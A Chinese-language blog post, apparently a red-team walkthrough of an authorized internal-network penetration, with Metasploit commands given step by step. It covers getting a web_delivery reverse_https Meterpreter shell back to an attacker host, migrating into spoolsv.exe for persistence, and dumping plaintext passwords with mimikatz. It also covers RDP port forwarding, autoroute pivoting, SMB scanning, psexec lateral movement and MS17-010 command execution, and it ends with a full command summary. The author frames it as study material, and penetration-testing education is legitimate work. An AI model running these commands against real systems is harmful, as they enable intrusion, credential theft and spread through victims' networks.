实战讲解内网渗透思路

0x00 简介

本次测试为实战测试,测试环境是授权项目中的一部分,敏感信息内容已做打码处理,仅供讨论学习。由于本人在内网方面的掌握也是属于新手阶段,运用到的一些msf攻击手法也很基础,请各位表哥多多指教。

0x01 获得shell

Getshell的过程没什么好说的,无非简单的后台弱口令到上传然后冰蝎连接getshell。
获得shell后,模拟终端ping 8.8.8.8有返回包,说明该服务器与外网互通。

既然跟外网互通,那么可以尝试直接使用msf的exploit/multi/handler配合冰蝎反弹shell来获得session

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost xxx.xxx.xxx.xxx
set lport 5665
run


但是结果很不尽人意,没能够成功获得session。
在使用冰蝎模拟终端收集信息过程中,发现本地有powershell进程。

再次打开msf,本次尝试使用web_delivery配合终端执行powershell指令来获得session。

User exploit/multi/script/web_delivery
Set targets 2
set payload windows/x64/meterpreter/reverse_https
set lhost xxx.xxx.xxx.xxx
set lport 4332
set srvport
run



获得payload,使用冰蝎或者C刀模拟终端直接执行,成功获得session,执行getuid发现权限为system权限,省去了提权过程。

0x02  权限维持

为了获得一个持久稳定的高权限session,我们需要将当前的session进程迁移到一个持久、坚挺又稳定的进程上,防止突然暴毙(咳咳)

我们使用ps查看当前进程,然后选中一个看起来比较持久的幸运儿spoolsv.exe(这是一个用来控制打印的进程,我遇到的机器基本都开启了此进程)
注意:选择进程的时候优先选择系统进程,这种比较持久且为system权限

migrate 进程号
getpid

0x03 内网信息搜集

不管是在什么类型的渗透环境下,信息搜集永远是不可缺少的一环,他决定了你渗透的效率,可以让你在渗透过程中少走很多弯路,毕竟在项目上尤其是红蓝攻防中,最缺的永远是时间

接下来,查看IP信息以及arp缓存,查看网段分布情况:


发现该服务器只存在192.168.10.0/24网段的信息
于是继续查看其他信息

Netstat -ano

发现服务器开放3389端口:

既然开启了3389端口,我们使用端口转发,登录到服务器看看有没有意外收获。

portfwd add -l 6666 -p 3389 -r 127.0.0.1

IP有了,3389开了,现在我们缺少的是用户名密码
直接meterpreter下加载mimikatz

Load mimikatz
Wdigest


比较遗憾的是没能获取到明文密码,但是我这边使用cobalt strike加载的mimikatz成功获取到明文密码
emmm总之搞不懂的地方先归为玄学问题

现在,密码也有了,mstsc链接目标3389端口成功此处涉及的敏感信息较多,放弃截图,我尽量用语言表述清楚思路
上传netpass查看rdp缓存,无果,但是发现系统有VNC

VNC:VNC (Virtual Network Console)是虚拟网络控制台的缩写,是一款远程控制工具软件。

查看VNC相关文件发现新的网段信息,但是没有保存的连接信息,不过能获得新的网段信息也是知足了

0x04 横向

至此,信息收集部分其实也就差不多,接下来我们开始尝试横向移动

根据之前发现的网段信息以及服务器本机的路由信息,我们手动添加路由

Run autoroute -s 192.168.10.0/24
Run autoroute -s 172.16.0.0/24
……

其他网段同理,添加路由之后bg退回到控制台
先使用auxiliary/scanner/smb/smb_version模块扫描一下各网段的smb服务开启情况

Use auxiliary/scanner/smb/smb_version
set rhosts 192.168.10.0/24
set threads 10
run


可以看到,活着的机器还挺多。

然后,使用auxiliary/scanner/smb/psexec_loggedin_users模块配合已获得的两组账户密码进行横向

Use auxiliary/scanner/smb/psexec_loggedin_users
Set rhosts 192.168.10.0/24
Set smbuser username
Set smbpass password
Set threads 5
run


尴尬,横向失败,居然没有用同账户密码

既然横向失败,可以考虑最简单的,但也是最实用的大杀器,ms17-010
先使用scanner模块扫描一下哪些机器可能存在ms17-010的漏洞

Use auxiliary/scanner/smb/smb_ms17_010
Set rhosts 192.168.10.0/24
Set thread 20
Run


由于打ms17-010的流量比较大,为了防止死掉,我根据扫描出来的结果,针对性的选择一台感觉比较容易搞的目标,单独打。
此处试了很多机器,好多都打了补丁,不过也有漏网之鱼,此处单独拿一台示例:
Use auxiliary/admin/smb/ms17_010_command
set rhost 192.168.10.18
set command whoami
run

成功执行,是system权限,同理command换成弹shell的命令,便可以获得该机器的权限。

获得新机器的权限之后,便可以围绕新机器进行新一轮的信息搜集,然后不断横向,进一步扩大内网战果,以下,就不在多做测试。
另外对于ms17-010,如果说打2003的机器,建议使用auxiliary/admin/smb/ms17_010_command模块进行执行命令获得session;其他的可以直接使用exploit/windows/smb/ms17_010_eternalblue或者exploit/windows/smb/ms17_010_psexec来直接获得session。

0x05 总结

1.目标已获得shell,通过冰蝎已连接一句话

2.在MSF下执行以下命令,生成web_delivery的ps后门和监听

msf>user exploit/multi/script/web_delivery

msf>set targets 2

msf>set payload windows/x64/meterpreter/reverse_https

msf>set lhost 172.17.0.4

msf>set lport 4332

msf>set srvhost  0.0.0.0

msf>set srvport  3294

msf>run

3.复制生成的PS后门,在冰蝎命令终端执行,MSF成功上线

msf>sessions 1

4.查看目标权限为system权限

meterpreter>getuid

5.权限维持,进程迁移

meterpreter>ps    //查看spoolsv.exe所在的system权限的进程PID为7072

meterpreter>migrate  7072

6.内网信息收集

meterpreter>shell

c:\>ipconfig/all     //发现目标内网IP为192.168.10.122

c:\>arp -a    //发现有多个IP存活

c:\>netstat  -ano   //发现目标系统3389端口已开放

7.直接meterpreter下加载mimikatz,获取到用户的密码和明文

meterpreter>Load mimikatz

meterpreter>Wdigest

8.既然开启了3389端口,我们使用端口转发

portfwd add -l 6666 -p 3389 -r 127.0.0.1

9.在kali下远程桌面登录

redesktop 127.0.0.1  6666

10.远程桌面登录,通过netpass进行远程桌面密码查看,发现没有任何东西,但是发现存在VNC链接

11.根据之前发现的网段信息以及服务器本机的路由信息,我们手动添加路由

meterpreter>run autoroute -s 192.168.10.0/24

meterpreter>run autoroute -s 172.16.0.0/24

meterpreter>run autoroute -p

meterpreter>route print

meterpreter>background

msf>route add 192.168.10.0  255.255.255.0  1

msf>route add  172.16.0.0  255.255.255.0   1

12.使用auxiliary/scanner/smb/smb_version模块扫描一下各网段的smb服务开启情况

meterpreter>background

msf>use auxiliary/scanner/smb/smb_version

msf>set rhosts 192.168.10.0/24

msf>set threads 10

msf>run

13.使用auxiliary/scanner/smb/psexec_loggedin_users模块配合已获得的两组账户密码进行横向,发现都失败了

msf>use auxiliary/scanner/smb/psexec_loggedin_users

msf>set rhosts 192.168.10.0/24

msf>set smbuser username

msf>set smbpass password

msf>set threads 5

msf>run

14.使用scanner模块扫描一下哪些机器可能存在ms17-010的漏洞

msf>use auxiliary/scanner/smb/smb_ms17_010

msf>set rhosts 192.168.10.0/24

msf>set thread 20

msf>run

15.由于打ms17-010的流量比较大,为了防止死掉,我根据扫描出来的结果,针对性的选择一台感觉比较容易搞的目标,单独打。

msf>use auxiliary/admin/smb/ms17_010_command

msf>set rhost 192.168.10.18

msf>set command whoami

msf>run



posted @ 2022-01-24 16:29  渗透测试中心  阅读(4501)  评论(0编辑  收藏  举报